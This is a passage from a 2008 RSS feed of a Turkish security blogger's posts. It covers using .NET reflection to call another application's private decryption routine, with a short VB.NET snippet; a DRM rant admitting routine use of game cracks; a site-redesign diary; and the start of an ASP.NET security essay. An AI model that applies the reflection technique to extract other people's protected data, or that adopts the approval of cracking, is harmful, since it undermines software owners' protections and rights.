  <comments>http://ferruh.mavituna.com/yeni-tasarimin-yapilisi-2-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/yeni-tasarimin-yapilisi-2-oku/</feedburner:origLink></item>
<item>
  <title>.NET Reflection, RCE and Hard Coded Keys</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/ydkikbUwLCs/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 12 Eyl 2008 12:39:54 +0300</pubDate>
  <description>&lt;p&gt;Sometimes you need to extract some data out of another application but the data stored as encrypted. As you might guess generally keys are just hardcoded, but mostly algorithm is custom. Since there is no such a thing as "&lt;em&gt;client-side security&lt;/em&gt;", there are so many ways to do decrypt this data. &lt;/p&gt;  &lt;p&gt;You can go and reverse the code which is decompiling the application and copy, paste then tweak the code to compile. But this can be a real pain when dependencies and obfuscated code comes into the play.  Since new obfuscators taking the advantage of IL tricks, generally it's not easy to use decompiler generated high-level code without heavy modification.&lt;/p&gt;  &lt;p&gt;Unless you are a masochist I'd suggest you to use the application's code to do the job.&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Find the decryption point and the DLL,&lt;/li&gt;    &lt;li&gt;Invoke the related decryption function using reflection.&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;We use reflection instead of simply referencing the dll because this way it's possible to call any method within any scope such as &lt;strong&gt;&lt;em&gt;private &lt;/em&gt;&lt;/strong&gt;and &lt;strong&gt;&lt;em&gt;friend&lt;/em&gt;&lt;/strong&gt; which wouldn't be possible otherwise. Also it allows us to easily bypass Strong Name restrictions without touching to the original binary. &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Here is the code:&lt;/strong&gt;&lt;/p&gt;  &lt;div style="border-right: gray 1px solid; padding-right: 4px; border-top: gray 1px solid; padding-left: 4px; font-size: 8pt; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, 'Courier New', courier, monospace; background-color: #f4f4f4"&gt;   &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;     &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #606060"&gt;   1:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Function&lt;/span&gt; Decrypt(&lt;span style="color: #0000ff"&gt;ByVal&lt;/span&gt; data &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;String&lt;/span&gt;) &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;String&lt;/span&gt;&lt;/pre&gt;

    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #606060"&gt;   2:&lt;/span&gt;     &lt;span style="color: #008000"&gt;'Load Assembly&lt;/span&gt;&lt;/pre&gt;

    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #606060"&gt;   3:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;Dim&lt;/span&gt; CustomAssembly &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Assembly&lt;/span&gt; = &lt;span style="color: #0000ff"&gt;Assembly&lt;/span&gt;.Load(&lt;span style="color: #006080"&gt;"DLL.To.Load"&lt;/span&gt;)&lt;/pre&gt;

    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #606060"&gt;   4:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;Dim&lt;/span&gt; CustomType &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; Type = CustomAssembly.&lt;span style="color: #0000ff"&gt;GetType&lt;/span&gt;(&lt;span style="color: #006080"&gt;"DLL.To.Load.SecretClass"&lt;/span&gt;, &lt;span style="color: #0000ff"&gt;True&lt;/span&gt;, &lt;span style="color: #0000ff"&gt;False&lt;/span&gt;)&lt;/pre&gt;

    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #606060"&gt;   5:&lt;/span&gt;  &lt;/pre&gt;

    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #606060"&gt;   6:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;Dim&lt;/span&gt; CopyObj &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Object&lt;/span&gt; = CustomAssembly.CreateInstance(CustomType.FullName)&lt;/pre&gt;

    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #606060"&gt;   7:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;Dim&lt;/span&gt; Res &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Object&lt;/span&gt; = CustomType.InvokeMember(&lt;span style="color: #006080"&gt;"Decrypt"&lt;/span&gt;, BindingFlags.InvokeMethod, &lt;span style="color: #0000ff"&gt;Nothing&lt;/span&gt;, CopyObj, &lt;span style="color: #0000ff"&gt;New&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Object&lt;/span&gt;() {data})&lt;/pre&gt;

    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #606060"&gt;   8:&lt;/span&gt;  &lt;/pre&gt;

    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #606060"&gt;   9:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;Return&lt;/span&gt; Res.ToString&lt;/pre&gt;

    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #606060"&gt;  10:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;End&lt;/span&gt; Function&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/f4E9FRsjqYW6z02AabOfbpuQKfM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/f4E9FRsjqYW6z02AabOfbpuQKfM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/f4E9FRsjqYW6z02AabOfbpuQKfM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/f4E9FRsjqYW6z02AabOfbpuQKfM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=l1CJLieL"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=9RydfXEE"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=2bka6Wdp"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=xJzouhCw"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=xJzouhCw" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/ydkikbUwLCs" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/net-reflection-rce-and-hard-coded-keys-oku/</guid>
  <comments>http://ferruh.mavituna.com/net-reflection-rce-and-hard-coded-keys-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/net-reflection-rce-and-hard-coded-keys-oku/</feedburner:origLink></item>
<item>
  <title>DRM, Spore ve Korsan Yazılım</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/ErQbPQSr0Iw/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 09 Eyl 2008 00:14:39 +0300</pubDate>
  <description>&lt;p&gt;Daha önceden söylemiştim "&lt;strong&gt;&lt;em&gt;&lt;a href="http://ferruh.mavituna.com/get-a-license-and-then-grab-your-pirated-copy-oku/"&gt;legal yazılım kullanmak zor iş&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;" diye. EA şimdi Spore' da ve daha önceden de Mass Effect' te aktivasyon sistemi kullanmış. Yani oyun en azından 10 günde bir internetten &lt;a href="http://www.gamingsteve.com/archives/2008/05/maxis-responds-to-the-spore-drm-controversy.php"&gt;kendini onaylamalıymış, aksi takdirde çalışmamaya başlıyormuş&lt;/a&gt;. Ek olarak sadece 3 defa aktivasyona izin veriyormuş.&lt;/p&gt;  &lt;p&gt;Bildiğiniz gibi ben &lt;a href="http://ferruh.mavituna.com/korsan-yazilimsiz-iki-yil-oku/"&gt;korsan yazılıma karşıyım&lt;/a&gt; ama korsan yazılıma karşı olmak &lt;em&gt;salak olmak&lt;/em&gt; anlamına gelmiyor. Bir DVD' nin kopyasını sadece kendiniz için çıkarıyorsanız bile bu işlem bir çok ülkede kanuna aykırı. Şimdi bu oyunlarda da benzer bir durum sözkonusu. Ancak eğer filmin orijinal DVD' sinde bir sorun çıkarsa gidip yeni bir tane mi almanız gerekiyor? &lt;/p&gt;  &lt;p&gt;EA' e göre de oyunu 3 defa kurduktan sonra gidip yeni bir oyun almanız gerekiyor (&lt;em&gt;ya da kendilerini telefon ile arayıp derdinizi anlatmanız&lt;/em&gt;). Bu firmaların dertlerini anlıyorum ancak bu saçma bir durum ve bilinçli bir tüketici olarak iki defa düşünmeden oyunun &lt;em&gt;crack' &lt;/em&gt;ini indirip kurarım -&lt;em&gt;nitekim düzenli olarak yapıyorum&lt;/em&gt;-.&lt;/p&gt;  &lt;p&gt;Benim teorim basit; firmaların bu şekilde önlemlere gitmesi uzun vadede onların işine yaramayacak ve eninde sonunda bundan vazgeçecekler. Çünkü &lt;strong&gt;&lt;em&gt;paranla rezil  olmak&lt;/em&gt;&lt;/strong&gt; tam da bu durum için söylenmiş bir söz.&lt;/p&gt;  &lt;h2&gt;Güzel bir örnek&lt;/h2&gt;  &lt;p&gt;ATV' nin &lt;a href="http://www.atv.com.tr/video/diziler.php"&gt;iste &amp; izle&lt;/a&gt; isimli bütün ATV dizilerini online izleyebileceğiniz bir sistemi var. Aylık fiyatı 15 YTL gibi bir fiyat. Bugün HBO' nun Lost' u web üzerinden HD kalitesinde ücretsiz yayınladığını düşünürseniz bence biraz cüretkar bir deneyim ama o kısım önemli değil. Sonuçta bir hizmet ve bence güzel bir adım, ama...&lt;/p&gt;  &lt;p&gt;Avrupa Yakası son 3 senedir izlediğim tek yerli dizi diyebilirim ve ben de bu yüzden ATV' nin bu sistemine üye oldum. &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;ATV dizileri sadece online izlemenize izin veriyor (&lt;em&gt;ve süper bir internet çıkışları yok&lt;/em&gt;)&lt;/li&gt;    &lt;li&gt;ATV' nin online yayın kalitesi 260*200 gibi bırakın HD' yi NTSC/PAL kalitesine bile yetişmeyen bir kalitede.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Google' da iki tıklama ötemde olan site ise Avrupa Yakası' nı en iyi kalitede download edebileceğim bir formatta sunuyor. Benim çözümüm basit ATV' ye parasını öderim, giderim diğer siteden download ederim. Etik olarak kafam rahat. Çok istiyorlarsa bu akıl almaz hırsızlığım&lt;em&gt;(!) &lt;/em&gt;için beni dava edebilirler.&lt;/p&gt;  &lt;p&gt;Burada not düşmek lazım ATV' nin sitesinde şu slogan yok:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Satın al ve akıl almaz kötü bir kalitede tüm dizileri izle. Ya da youtube' a git onun kalitesi bile bizden iyi.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/MPkhFJ0On-8h4ENrJvIyVAeKT6U/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MPkhFJ0On-8h4ENrJvIyVAeKT6U/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/MPkhFJ0On-8h4ENrJvIyVAeKT6U/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MPkhFJ0On-8h4ENrJvIyVAeKT6U/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=vNbGLfXC"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=aY9HSuwE"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=UfghJsVP"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=o25xLhq6"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=o25xLhq6" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/ErQbPQSr0Iw" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/drm-spore-ve-korsan-yazilim-oku/</guid>
  <comments>http://ferruh.mavituna.com/drm-spore-ve-korsan-yazilim-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/drm-spore-ve-korsan-yazilim-oku/</feedburner:origLink></item>
<item>
  <title>Yeni Tasarımın Yapılışı - I</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/xIT-9zGjKZg/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 08 Eyl 2008 22:09:53 +0300</pubDate>
  <description>&lt;p&gt;&lt;i&gt;Bir süredir &lt;a href="https://ferruh.mavituna.com/yeni-siteye-gecis-oku/"&gt;yeni tasarım yayında&lt;/a&gt;. Yeni tasarımı yaparken bir nevi geliştirme günlüğü tutmuştum. Ne yaptım, neler kötü gitti, neler güzel gitti, hangi kaynakları kullandım vs. gibi. Bu dokümanları parça-parça yayınlamaya başlıyorum. Bu serinin birincisi, çok uzun değil bunun gibi 2-3 bölüm daha var. Bütün seri bittikten sonrada genel olarak ne bekliyordum, ne buldum yazısı yazmaya çalışacağım.&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;/p&gt;  &lt;h4&gt;Gereksinimler&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Temiz ve kullanışlı bir tasarım &lt;/li&gt;    &lt;li&gt;Geçerli XHTML Strict veya Transitional &lt;/li&gt;    &lt;li&gt;Eskisi gibi tablosuz CSS temelli tasarım &lt;/li&gt;    &lt;li&gt;1024*768 ve yukarısı çözünürlüklerde verim &lt;/li&gt;    &lt;li&gt;Ortada “&lt;b&gt;fixed&lt;/b&gt;” 960px layout, bu şekilde okunurluğun daha yüksek olduğunu düşünüyorum &lt;/li&gt;    &lt;li&gt;Geçerli XHTML Strict veya en azından XHTML Transitional kodu olması &lt;/li&gt;    &lt;li&gt;Geçerli CSS 2.1 &lt;/li&gt;    &lt;li&gt;Tüm sitenin UTF-8 olması      &lt;br /&gt;&lt;i&gt;Şu anki sistemde sitenin yarısı UTF-8 ama hepsi değil bu hem teknik sorunlara neden oluyor hem de bazı durumlarda Türkçe karakterlerin doğru gösterilmesine engel oluyor.&lt;/i&gt; &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Ekstra Eklenecek Özellikler&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Tamamen yeni ASP.NET altyapısı, Sistemin bir kısmı zaten ASP.NET ama hepsini ASP.NET’ e geçirmek istiyorum &lt;/li&gt;    &lt;li&gt;Yorumlar için CAPTCHA desteği &lt;/li&gt;    &lt;li&gt;AJAX ile yorumları okuma ve yazma &lt;/li&gt;    &lt;li&gt;Site arşiv sayfaları      &lt;ul&gt;       &lt;li&gt;Tag tabanlı arşiv &lt;/li&gt;        &lt;li&gt;Tarih tabanlı arşiv &lt;/li&gt;        &lt;li&gt;Ana konu tabanlı arşivler          &lt;ul&gt;           &lt;li&gt;Projeler &lt;/li&gt;            &lt;li&gt;Araştırma Dokümanları &lt;/li&gt;            &lt;li&gt;Download &lt;/li&gt;         &lt;/ul&gt;       &lt;/li&gt;     &lt;/ul&gt;   &lt;/li&gt;    &lt;li&gt;Yeni yorumlardan e-mail ile haberdar etme &lt;/li&gt;    &lt;li&gt;Trackback gönderme ve kabul etme &lt;/li&gt;    &lt;li&gt;&lt;i&gt;İngilizce arabirim desteği, ikinci adım&lt;/i&gt; &lt;/li&gt; &lt;/ul&gt;  &lt;h3&gt;Tasarım – 06.04.08&lt;/h3&gt;  &lt;p&gt;Ben tasarımcı değilim ama tasarımcı olarak bir geçmişim var. Yeni tasarımdaki amaçlarımdan biri daha okunaklı ve daha temiz, curcuna olmayan bir tasarım sunmaktı. Bir şeye başlamadan önce ilham almak için beğendiğim blogların tasarımlarına ve güzel tasarımları listeleyen ilham sitelerine baktım. Kendi beğendiğim blog sitelerine bakarken komik bir şey farkettim, bu sitelerin hiçbirini aslında ziyaret etmiyorum sadece RSS’ ten okuyorum. Bu da “&lt;b&gt;içerik kraldır&lt;/b&gt;” lafını tekrar onaylıyor. Tabii ki bunu kendime bahane etmiyorum!&lt;/p&gt;  &lt;p&gt;Bu şekilde sağı - solu bir saat kadar dolaştıktan sonra, kendi arşivimdeki eski yaptığım çalışmaları incelemeye başladım. Grafik konularından o kadar uzak kalmışım ki bir şey yapmak çok zor geliyor. O yüzden daha formdayken yaptığım çalışmalardan çalmayı düşünüyordum. Eski PNG dosyaları arasında bir saat kadar harcadıktan sonra ve Fireworks CS3 ile de bir kaç deneme yaptıktan sonra eski materyalleri değiştirip güzel ve basit bir logo çıkardım kendime.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplI_10957/clip_image001_2.gif"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="65" alt="clip_image001" src="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplI_10957/clip_image001_thumb.gif" width="146" style="float:left"  /&gt;&lt;/a&gt;Ben genelde tasarıma logodan başlarım daha sonra da tüm konsepti logo üzerine kurarım. Bu seferde gene o şekilde yaptım. Soldaki logoyu tasarladıktan sonra, bunun üzerine tasarımı geliştirdim.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplI_10957/clip_image001_2.gif"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Önce gazete benzeri bir konsept yakalamaya çalıştım, bu adımda bir kaç rasterize efektli fotografta denedim ama istediğim gibi olmadı, bu sırada daha basit bir aşağıdaki çalışmaya ulaştım.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplI_10957/clip_image002_2.gif"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="240" alt="clip_image002" src="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplI_10957/clip_image002_thumb.gif" width="163"  /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Ama bu sefer siteyi aşağıdaki gibi, 960px, 2 kolon fixed istiyordum.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplI_10957/clip_image003_2.gif"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="210" alt="clip_image003" src="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplI_10957/clip_image003_thumb.gif" width="183"  /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Bu şekilde istememin ana nedeni ise orta içeriğin 500px gibi sabit bir şey ile limitleyebilmekti. Dolayısıyla yukarıdaki tasarımı değiştirip, bu şablona uyacak bir hale getirdim. Son zamanlarda wordpress temalarında popüler olan alt kısmı farklı bir renk ile ayırma işlemi de çok hoşuma gittiği için bir de ek bir renk ile footer çalıştım ve ortaya aşağıdaki çıktı.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplI_10957/clip_image005_2.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="200" alt="clip_image005" src="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplI_10957/clip_image005_thumb.jpg" width="240"  /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Deneyimli tasarımcılar çoktan farketmiştir istediğim şablon / CSS Layout ile yukarıdaki tasarımı birleştirmede temel bir &lt;b&gt;arka plan&lt;/b&gt; sorunu var. Bu yüzden Logoyu tamamen transparan bir arkaplan ile çalıştım ve header ve footer arka planlarını da yatay olarak tekrar edebilecek bir hale getirdim. Orjinal resimler 1600px uzunluğunda dolayısıyla bir çok monitörde zaten tekrar etmelerine gerek kalmayacak ama tekrar ederlerse de bu tamamen gözükmeyen bir geçiş ile olacak. Basitçe resimlerin soldaki başlangıçları ile sağdaki bitişlerini aynı çizgi üzerinde tuttum. Düz olmadıklarından dolayı bu biraz vakit aldı ama sonunda oldu. Bu işlemi yaparken “&lt;b&gt;Ruler&lt;/b&gt;” ve “&lt;b&gt;Grid&lt;/b&gt;” leri görünür hale getirmek çok işinize yarayacaktır.&lt;/p&gt;  &lt;p&gt;Bütün bunları yapmak ve yukarıdaki hale getirmek yaklaşık 6-7 saat sürdü. Cumartesi öğleden öncem bu işe gitmiş oldu. Pazar sabahı da tasarımdaki son detaylarla oynayıp HTML’ e aktarmaya başladım. &lt;/p&gt;  &lt;p&gt;&lt;i&gt;Bir sonraki yarın yazı Pazar sabahından devam edecek....&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jS0aRpjBB1eAiTz8rR3lsZMkxww/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jS0aRpjBB1eAiTz8rR3lsZMkxww/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/jS0aRpjBB1eAiTz8rR3lsZMkxww/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jS0aRpjBB1eAiTz8rR3lsZMkxww/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=fBv9oFGW"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=nBYY421Q"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=gHJTpxnK"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=hfPCIubK"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=hfPCIubK" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/xIT-9zGjKZg" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/yeni-tasarimin-yapilisi--oku/</guid>
  <comments>http://ferruh.mavituna.com/yeni-tasarimin-yapilisi--oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/yeni-tasarimin-yapilisi--oku/</feedburner:origLink></item>
<item>
  <title>ASP.NET Güvenliği ve Platform Tasarımı</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/meL6TFIhHg0/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 05 Eyl 2008 20:01:16 +0300</pubDate>
  <description>&lt;p&gt;Öncelikle genel yapılan geyiklerden birini kestirip atalım:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Tüm sunucu-taraflı (server-side) diller aynı seviyede güvenlidir, herşey kodu yazan kişiye bağlıdır.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Bunu unutun, yok böyle bir şey. Hemen açıkça söyleyelim mesela ASP.NET tasarımı PHP ye göre çok daha güvenlidir. Şimdi bir çok kişi yorumlara saldırmadan önce yazıya devam edelim. Mesela Struts (&lt;em&gt;dil değil platform/framework&lt;/em&gt;) hatırı sayılır derecede bir çok platformdan daha güvenlidir.&lt;/p&gt;  &lt;p&gt;Her dilde ve platformda güvenli olmayan yazılım geliştirebilirsiniz ama bazı platformlarda güvenli olmayan yazılım geliştirmek çok daha kolay. Şimdi bir dilin - platformun güvenlik noktasında nasıl analiz edilebileceğine bir bakalım.&lt;/p&gt;  &lt;p&gt;Server-Side dillerin Güvenlik Analiz Kriterleri:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Yazılım güvenliği, &lt;strong&gt;platformun kendisinde çıkan açıklar&lt;/strong&gt; (&lt;em&gt;buffer overflow, yanlış çalışan encoding fonksiyonları vs.&lt;/em&gt;) &lt;/li&gt;    &lt;li&gt;Platform tarafından sunulan &lt;strong&gt;güvenlik kütüphaneleri, fonksiyonlar&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;Platformun dokümantasyon ve eğitimlerin &lt;strong&gt;güvenli yazılım geliştirme pratiklerini teşvik &lt;/strong&gt;ediyor olması. Güvenli kod yazmanın kolay olması &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Güvenli varsayılan ayarlar &lt;/strong&gt;ve fonksiyonlar varsayılan olarak güvenli şekilde çalışması &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Burada bütün platformaları karşılaştırmayacağım zaten farklı platformlardaki teknik yetersizliğimden dolay bunu yapma imkanım da yok ama örnekler verip ASP.NET' in neleri başarılı bir şekilde yaptığını göstermeye çalışacağım.&lt;/p&gt;  &lt;h2&gt;Platformun Kendisinde Çıkan Açıklar&lt;/h2&gt;  &lt;p&gt;Bu 